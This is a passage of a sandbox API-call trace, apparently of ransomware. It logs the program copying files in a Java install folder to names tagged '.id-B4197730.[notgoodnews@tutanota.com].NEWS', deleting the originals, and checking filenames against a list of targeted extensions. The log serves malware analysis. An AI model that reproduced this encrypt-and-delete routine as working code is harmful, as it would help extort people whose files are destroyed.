lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.959] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0165.960] GetLastError () returned 0x0 [0165.960] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x62, lpOverlapped=0x0) returned 1 [0166.175] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x70, lpOverlapped=0x0) returned 1 [0166.214] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.214] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xee, lpOverlapped=0x0) returned 1 [0166.215] SetEndOfFile (hFile=0x54c) returned 1 [0166.215] CloseHandle (hObject=0x54c) returned 1 [0166.215] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.215] SetEndOfFile (hFile=0x518) returned 1 [0166.218] CloseHandle (hObject=0x518) returned 1 [0166.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.218] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0166.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.219] lstrlenW (lpString=".doc") returned 4 [0166.219] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".docx") returned 5 [0166.219] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0166.219] lstrlenW (lpString=".pdf") returned 4 [0166.219] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".xls") returned 4 [0166.219] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".xlsx") returned 5 [0166.219] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0166.219] lstrlenW (lpString=".ppt") returned 4 [0166.219] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.219] lstrlenW (lpString=".zip") returned 4 [0166.219] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".rar") returned 4 [0166.219] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".bz2") returned 4 [0166.219] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString=".7z") returned 3 [0166.219] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0166.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.219] lstrlenW (lpString=".dbf") returned 4 [0166.219] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0166.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.219] lstrlenW (lpString=".1cd") returned 4 [0166.219] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".jpg") returned 4 [0166.220] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".doc") returned 4 [0166.220] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".docx") returned 5 [0166.220] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0166.220] lstrlenW (lpString=".pdf") returned 4 [0166.220] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".xls") returned 4 [0166.220] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".xlsx") returned 5 [0166.220] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0166.220] lstrlenW (lpString=".ppt") returned 4 [0166.220] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".zip") returned 4 [0166.220] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".rar") returned 4 [0166.220] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".bz2") returned 4 [0166.220] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString=".7z") returned 3 [0166.220] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".dbf") returned 4 [0166.220] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".1cd") returned 4 [0166.220] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0166.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0166.220] lstrlenW (lpString=".jpg") returned 4 [0166.220] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0166.221] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0166.221] lstrlenW (lpString="sound.properties") returned 16 [0166.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.221] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1210) returned 1 [0166.221] CloseHandle (hObject=0x518) returned 1 [0166.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0166.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.222] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.222] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0166.223] GetLastError () returned 0x0 [0166.223] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0166.224] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0166.225] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.225] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf4, lpOverlapped=0x0) returned 1 [0166.225] SetEndOfFile (hFile=0x54c) returned 1 [0166.226] CloseHandle (hObject=0x54c) returned 1 [0166.226] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.226] SetEndOfFile (hFile=0x518) returned 1 [0166.228] CloseHandle (hObject=0x518) returned 1 [0166.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.228] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0166.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".doc") returned 4 [0166.230] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".docx") returned 5 [0166.230] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0166.230] lstrlenW (lpString=".pdf") returned 4 [0166.230] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".xls") returned 4 [0166.230] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".xlsx") returned 5 [0166.230] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0166.230] lstrlenW (lpString=".ppt") returned 4 [0166.230] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".zip") returned 4 [0166.230] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".rar") returned 4 [0166.230] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".bz2") returned 4 [0166.230] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString=".7z") returned 3 [0166.230] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".dbf") returned 4 [0166.230] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".1cd") returned 4 [0166.230] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".jpg") returned 4 [0166.230] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.230] lstrlenW (lpString=".doc") returned 4 [0166.230] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".docx") returned 5 [0166.231] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0166.231] lstrlenW (lpString=".pdf") returned 4 [0166.231] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".xls") returned 4 [0166.231] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".xlsx") returned 5 [0166.231] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0166.231] lstrlenW (lpString=".ppt") returned 4 [0166.231] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.231] lstrlenW (lpString=".zip") returned 4 [0166.231] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".rar") returned 4 [0166.231] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".bz2") returned 4 [0166.231] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString=".7z") returned 3 [0166.231] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0166.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.231] lstrlenW (lpString=".dbf") returned 4 [0166.231] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.231] lstrlenW (lpString=".1cd") returned 4 [0166.231] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0166.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0166.231] lstrlenW (lpString=".jpg") returned 4 [0166.231] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0166.231] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".NEWS") returned -1 [0166.231] lstrlenW (lpString="tzmappings") returned 10 [0166.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.232] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8400) returned 1 [0166.232] CloseHandle (hObject=0x518) returned 1 [0166.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0166.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.233] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.233] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0166.234] GetLastError () returned 0x0 [0166.234] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0166.236] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0166.237] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.237] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0166.238] SetEndOfFile (hFile=0x54c) returned 1 [0166.238] CloseHandle (hObject=0x54c) returned 1 [0166.238] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.238] SetEndOfFile (hFile=0x518) returned 1 [0166.242] CloseHandle (hObject=0x518) returned 1 [0166.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.243] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0166.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".doc") returned 4 [0166.244] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".docx") returned 5 [0166.244] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0166.244] lstrlenW (lpString=".pdf") returned 4 [0166.244] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".xls") returned 4 [0166.244] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".xlsx") returned 5 [0166.244] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0166.244] lstrlenW (lpString=".ppt") returned 4 [0166.244] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".zip") returned 4 [0166.244] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".rar") returned 4 [0166.244] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".bz2") returned 4 [0166.244] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString=".7z") returned 3 [0166.244] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".dbf") returned 4 [0166.244] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".1cd") returned 4 [0166.244] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".jpg") returned 4 [0166.244] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.244] lstrlenW (lpString=".doc") returned 4 [0166.245] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".docx") returned 5 [0166.245] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0166.245] lstrlenW (lpString=".pdf") returned 4 [0166.245] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".xls") returned 4 [0166.245] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".xlsx") returned 5 [0166.245] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0166.245] lstrlenW (lpString=".ppt") returned 4 [0166.245] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.245] lstrlenW (lpString=".zip") returned 4 [0166.245] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".rar") returned 4 [0166.245] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".bz2") returned 4 [0166.245] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString=".7z") returned 3 [0166.245] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0166.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.245] lstrlenW (lpString=".dbf") returned 4 [0166.245] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.245] lstrlenW (lpString=".1cd") returned 4 [0166.245] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0166.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0166.245] lstrlenW (lpString=".jpg") returned 4 [0166.245] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0166.245] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".NEWS") returned -1 [0166.246] lstrlenW (lpString="LICENSE") returned 7 [0166.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.246] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=40) returned 1 [0166.246] CloseHandle (hObject=0x518) returned 1 [0166.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0166.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.248] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.248] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0166.249] GetLastError () returned 0x0 [0166.249] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x28, lpOverlapped=0x0) returned 1 [0166.440] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x30, lpOverlapped=0x0) returned 1 [0166.449] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.449] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe2, lpOverlapped=0x0) returned 1 [0166.450] SetEndOfFile (hFile=0x54c) returned 1 [0166.452] CloseHandle (hObject=0x54c) returned 1 [0166.452] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.452] SetEndOfFile (hFile=0x518) returned 1 [0166.455] CloseHandle (hObject=0x518) returned 1 [0166.455] SetFileAttributesW 